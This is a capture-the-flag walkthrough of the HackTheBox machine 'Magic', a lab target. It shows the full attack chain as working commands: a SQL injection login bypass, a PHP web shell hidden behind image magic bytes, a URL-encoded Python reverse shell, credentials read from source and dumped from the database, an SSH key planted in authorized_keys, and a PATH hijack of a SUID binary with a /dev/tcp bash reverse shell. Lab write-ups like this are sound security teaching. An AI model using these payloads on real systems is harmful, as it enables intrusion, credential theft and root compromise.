IP: 10.10.10.185
Rating: Meduim
My Rating: Easy
Operating System: Linux
Overview
Bypass a login page with SQL injection then bypass an upload restriction using "magic bytes" to upload a PHP file. We can then use the uploaded PHP code to remotely execute commands on the machine and get a reverse shell. From there, enumerate the web server source code and find credentials to a database that you can dump to find more credentials to privilege escalate. Finally, abuse SUID to execute commands as root and gain a shell.
Recon
Using Nmap to enumerate open ports gives the following results:
# Nmap 7.80 scan initiated Fri May 8 14:54:17 2020 as: nmap -sCV -oN magic.nmap -v 10.10.10.185
Increasing send delay for 10.10.10.185 from 0 to 5 due to 67 out of 221 dropped probes since last increase.
Increasing send delay for 10.10.10.185 from 5 to 10 due to 39 out of 128 dropped probes since last increase.
Nmap scan report for 10.10.10.185
Host is up (0.91s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA)
| 256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA)
|_ 256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Magic Portfolio
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri May 8 14:57:40 2020 -- 1 IP address (1 host up) scanned in 202.89 seconds
Two ports to work with. OpenSSH (port 22) is up to date so we can disregard that for now. There also seems to be an Apache server running (port 80), the banner tells us it is an Ubuntu machine. Let’s poke at that.
Enumeration
Apache Server
The landing page looks like it just displays images, maybe there is an upload function somewhere?
At the bottom left it looks like there is a login page, let’s check it out.
Admin admin? Not this time. Second thing that comes to my mind is SQL injection.
Breakdown:
- 1 = 1 : Is one equal to one? Yes, so this will be true
- ' or 1 = 1 : The OR logical operator states that if any of the two values are true then it returns true
- -- : This will comment out the rest of the line so that the SQL server does not parse anything that comes after
- ' or 1 = 1 -- : So, all together it will be true and the rest commented out allowing us to authenticate
Bypassed!
Before trying to upload files, let’s try to see if we can find out where exactly they are being uploaded. We will use gobuster to bust directories.
root@crab:~# gobuster dir -u http://10.10.10.185 -w /opt/wordlists/dirb/common.txt -o bust/root-common-80.out -t 10
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.185
[+] Threads: 10
[+] Wordlist: /opt/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/08/21 15:20:49 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htpasswd (Status: 403)
/.sh_history (Status: 403)
/.htaccess (Status: 403)
/assets (Status: 301)
/images (Status: 301)
/index.php (Status: 200)
...
/images is most likely where uploaded images would be, let’s bust that one as well.
root@crab:~# gobuster dir -u http://10.10.10.185/images -w /opt/wordlists/dirb/common.txt -o bust/images-common-80.out -t 10
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.185/images
[+] Threads: 10
[+] Wordlist: /opt/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/08/21 15:32:56 Starting gobuster
===============================================================
/.htpasswd (Status: 403)
/.hta (Status: 403)
/.htaccess (Status: 403)
/.sh_history (Status: 403)
/uploads (Status: 301)
...
/uploads looks promising. We will confirm it later when we upload any files.
Gaining access
www-data
Let’s talk a little about magic bytes, which are essentially just bytes at the beginning of files that act as a signature allowing software to recognize the file type.
In this case, we will be uploading enough bytes of an image followed by malicous PHP code. When the server tries to verify if our uploaded file is an image using the “magic bytes”, it will succeed. Let’s put it to the test with the following image.
Editing the image in vim allows us to remove any unneeded bytes and keep the “magic bytes” followed by our malicous PHP code. Note the code breakdown of the PHP code can be found here.
One more step. We need to save it with a .php extension so that the server can parse it as PHP code.
root@crab:~# mv shell.jpg shell.jpg.php
All set up! Lets upload and try execute it.
Remember the path to uploaded images is: ‘/images/uploads/’
If we send a request to that path, specify our uploaded image name and pass the command we want to execute it should execute on the remote machine and return an output.
root@crab:~# curl "http://10.10.10.185/images/uploads/shell.php.jpeg?cmd=id"
JFIF,,
%-(0%()(C ((((((((((((((((((((((((((((((((((((((((((((((((((["
x{'t< =t< =t=t=#< =t< =t=#< =t< =t< =t< =t<"t< t=Q=p=t#^10C@00C0C@4
@&O/N)^T1
4@
40L
&& LC=4Q
b z_`S `
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Nice! Command execution successful. We can even list our current directory and see images that have been uploaded. Note %20 is a space URL encoded so that the server can understand our request.
root@crab:~# curl "http://10.10.10.185/images/uploads/shell.php.jpeg?cmd=ls%20-la"
JFIF,,
%-(0%()(C ((((((((((((((((((((((((((((((((((((((((((((((((((["
x{'t< =t< =t=t=#< =t< =t=#< =t< =t< =t< =t<"t< t=Q=p=t#^10C@00C0C@4
@&O/N)^T1
4@
40L
&& LC=4Q
b z_`S `
total 8544
drwxr-xr-x 2 www-data www-data 4096 Aug 21 12:50 .
drwxr-xr-x 4 www-data www-data 4096 Apr 14 05:04 ..
-rw-r--r-- 1 www-data www-data 49110 Aug 21 05:36 5'.jpeg
-rw-r--r-- 1 www-data www-data 49110 Aug 21 04:46 5.jpeg
-rw-r--r-- 1 www-data www-data 5289209 Oct 22 2019 7.jpg
-rw-r--r-- 1 www-data www-data 66943 Aug 21 08:33 cat01.jpg
-rw-r--r-- 1 www-data www-data 1455770 Oct 22 2019 giphy.gif
...
This is an ugly shell, so let’s get a proper reverse shell. First, we’ll verify Python is installed on the machine.
root@crab:~# curl "http://10.10.10.185/images/uploads/shell.php.jpeg?cmd=which%20python3"
JFIF,,
%-(0%()(C ((((((((((((((((((((((((((((((((((((((((((((((((((["
x{'t< =t< =t=t=#< =t< =t=#< =t< =t< =t< =t<"t< t=Q=p=t#^10C@00C0C@4
@&O/N)^T1
4@
40L
&& LC=4Q
b z_`S `
/usr/bin/python3
It is. We can use the Python reverse shell found here. Don’t forget to set up your listener before exection.
root@crab:~# rlwrap nc -lnvp 53
listening on [any] 53 ...
Note I have URL encoded the request to avoid any bad characters.
root@crab:~/Desktop/hax/box/magic# curl "http://10.10.10.185/images/uploads/shell.php.jpeg?cmd=python3%20-c%20'import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28%2210.10.15.112%22%2C53%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3B%20os.dup2%28s.fileno%28%29%2C1%29%3B%20os.dup2%28s.fileno%28%29%2C2%29%3Bp%3Dsubprocess.call%28%5B%22%2Fbin%2Fsh%22%2C%22-i%22%5D%29%3B'"
Got a shell! We can ‘upgrade’ it using the pty module.
connect to [10.10.15.112] from (UNKNOWN) [10.10.10.185] 45136
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@ubuntu:/var/www/Magic/images/uploads$
theseus
Remember the SQL injection we did? There’s bound to be some sort of database credentials lying around since we can now read the back-end code.
www-data@ubuntu:/var/www/Magic$ ls
assets db.php5 dump.sql images index.php login.php logout.php upload.php
www-data@ubuntu:/var/www/Magic$ cat db.php5
...
<?php
class Database
{
private static $dbName = 'Magic' ;
private static $dbHost = 'localhost' ;
private static $dbUsername = 'theseus';
private static $dbUserPassword = 'iamkingtheseus';
private static $cont = null;
public function __construct() {
die('Init function is not allowed');
...
Credentials! We can try logging in as theseus now.
www-data@ubuntu:/var/www/Magic$ su theseus
Password: iamkingtheseus
su: Authentication failure
Didn’t work. Conveniently, the machine has mysqldump installed; maybe we can try to dump the database and leak more credentials using the current credentials we have.
www-data@ubuntu:/var/www/Magic$ which mysqldump
/usr/bin/mysqldump
www-data@ubuntu:/var/www/Magic$ mysqldump -u theseus Magic -p
Enter password: iamkingtheseus
...
LOCK TABLES `login` WRITE;
/*!40000 ALTER TABLE `login` DISABLE KEYS */;
INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng');
/*!40000 ALTER TABLE `login` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;
...
More credentials! Let’s try login as theseus with this password now.
www-data@ubuntu:/var/www/Magic$ su theseus
Password: Th3s3usW4sK1ng
theseus@ubuntu:/var/www/Magic$ id
uid=1000(theseus) gid=1000(theseus) groups=1000(theseus),100(users)
theseus@ubuntu:/var/www/Magic$
Nice, it worked! On to root.
theseus :: Th3s3usW4sK1ng
root
First things first, let’s execute linPEAS.sh and find privilege escalation suggestions. On my attacker machine, I’ll host a simple Python HTTP server that contains linPEAS.sh.
root@crab:~# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Then, on the victim machine, I will download and execute it. The linPEAS output returns useful information, but the following files that have SUID are eye-catching.
theseus@ubuntu:~$ cd /dev/shm && wget http://10.10.15.112/linpeas.sh && sh linpeas.sh
...
====================================( Interesting Files )=====================================
[+] SUID - Check easy privesc, exploits and write perms
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#commands-with-sudo-and-suid-commands
...
/bin/fusermount
/bin/sysinfo
/bin/mount ---> Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8
/bin/su
/bin/ping
...
Let’s understand SUID before proceeding. SUID (Set owner User ID upon execution), as the name suggests, allows a user to execute the program with the owner of the program’s permissions.
In our case, sysinfo is owned by root making this a target to exploit for privilege escalation.
theseus@ubuntu:/dev/shm$ ls -l /bin/sysinfo
ls -l /bin/sysinfo
-rwsr-x--- 1 root users 22040 Oct 21 2019 /bin/sysinfo
We can try to run sysinfo and see what exactly is going on in the background using the handy pspy tool. To do this, I’m going to get a separate shell and monitor what happens from there. I will take advantage of OpenSSH and add my public SSH key to authorized keys.
theseus@ubuntu:~$ echo -n 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDC9uq6FFfKxM+wOxsjMuEjAk2s8FHnIrj9OeSFGOoCKsozUf6U6duevJyDyPAt5JZ3wtMu/Kt3b+yLEJ86RFyhsS2os8e3ksCrTNORTd6mwcrp+Fr+pJLmCjhjBankVBB3xG35AMTQ0pFSOdGUnZySwvNM8XwECzjnuxuISRTHJrRr3/a3KIRvIoC8hgKZfwH/qoJDXpo+uB97BBO6HRkaGhVmfQ3kxmy79J4bFG74/JPb8yZ5jjYBNlKZwkkTpHrVW+tLh7W/LQBZ4aLbv4LJW+2HOJhyuYhjn7Yp3btiW1eLgkyYapjLxP2u2pIpIyn/j0ksasTa2R0QyR21hVYyPaBfFhIOg3o6QDpkI6K98tUN+X1I13Iihc12NK/ypHT/ivmdQRBlF9baWTYRW0ODP31+UWdDiG1YgnHbZX8RecquZG3EYq1RnVpEUgDE/uLGroOYn3snWQlloDtVNNn0M66IoeBmJ6BOA0ZcC4qZVOmA0hwm4Rig8Ub6GOl25+8=' ~/.ssh/>> authorized_keys
Then on my attacking machine i’ll just log in, copy pspy like before, and run it.
root@crab:~/Desktop/hax/box/magic# ssh theseus@10.10.10.185
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 5.3.0-42-generic x86_64)
Last login: Fri Aug 21 14:30:47 2020 from 10.10.15.112
theseus@ubuntu:/dev/shm$ cd /dev/shm && wget http://10.10.15.112/pspy64
--2020-08-21 14:34:45-- http://10.10.15.112/pspy64
Connecting to 10.10.15.112:80... connected. HTTP request sent, awaiting response... 200 OK
Length: 3078592 (2.9M) [application/octet-stream]
Saving to: ‘pspy64’
pspy64 100%[================================================================>] 2.94M 620KB/s in 5.5s
2020-08-21 14:34:50 (544 KB/s) - ‘pspy64’ saved [3078592/3078592]
theseus@ubuntu:/dev/shm$ chmod +x pspy64
theseus@ubuntu:/dev/shm$ ./pspy64
Now that pspy64 is running let’s run sysinfo on our reverse shell and monitor what runs in the back.
...
2020/08/21 14:51:23 CMD: UID=0 PID=8571 | sysinfo
2020/08/21 14:51:23 CMD: UID=0 PID=8573 | lshw -short
2020/08/21 14:51:23 CMD: UID=0 PID=8572 | sh -c lshw -short
2020/08/21 14:51:24 CMD: UID=0 PID=8578 | fdisk -l
2020/08/21 14:51:24 CMD: UID=0 PID=8577 | sh -c fdisk -l
...
Looking at the processes that were executed by sysinfo it looks like it is executing ‘lshw’ in the background. Theoretically, we could create our own ‘lshw’ file with arbritrary code in it and add it to the begining of our path so that it executes first.
This time I will use a simple bash reverse shell.
theseus@ubuntu:/dev/shm$ cd /tmp
theseus@ubuntu:/tmp$ echo '#!/bin/bash' > lshw
theseus@ubuntu:/tmp$ echo 'bash -i >& /dev/tcp/10.10.15.112/80 0>&1' >> lshw
Export my path making sure my current directory containing the lshw executable is at the start.
theseus@ubuntu:/tmp$ PATH=.:$PATH
theseus@ubuntu:/tmp$ echo $PATH
.:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
Set up the listener on my attacking machine again.
root@crab:~# rlwrap nc -lnvp 80
listening on [any] 80 ...
And finally, execute sysinfo once more.
theseus@ubuntu:/tmp$ chmod +x lshw
theseus@ubuntu:/tmp$ sysinfo
Got root shell!
connect to [10.10.15.112] from (UNKNOWN) [10.10.10.185] 45758
root@ubuntu:/tmp# whoami && id
root
uid=0(root) gid=0(root) groups=0(root),100(users),1000(theseus)
root@ubuntu:/tmp# wc -c /root/root.txt
33 /root/root.txt
Conclusion
Informational machine that shows you how to bypass specific file upload restrictions and how to misuse SUID to compromise a machine.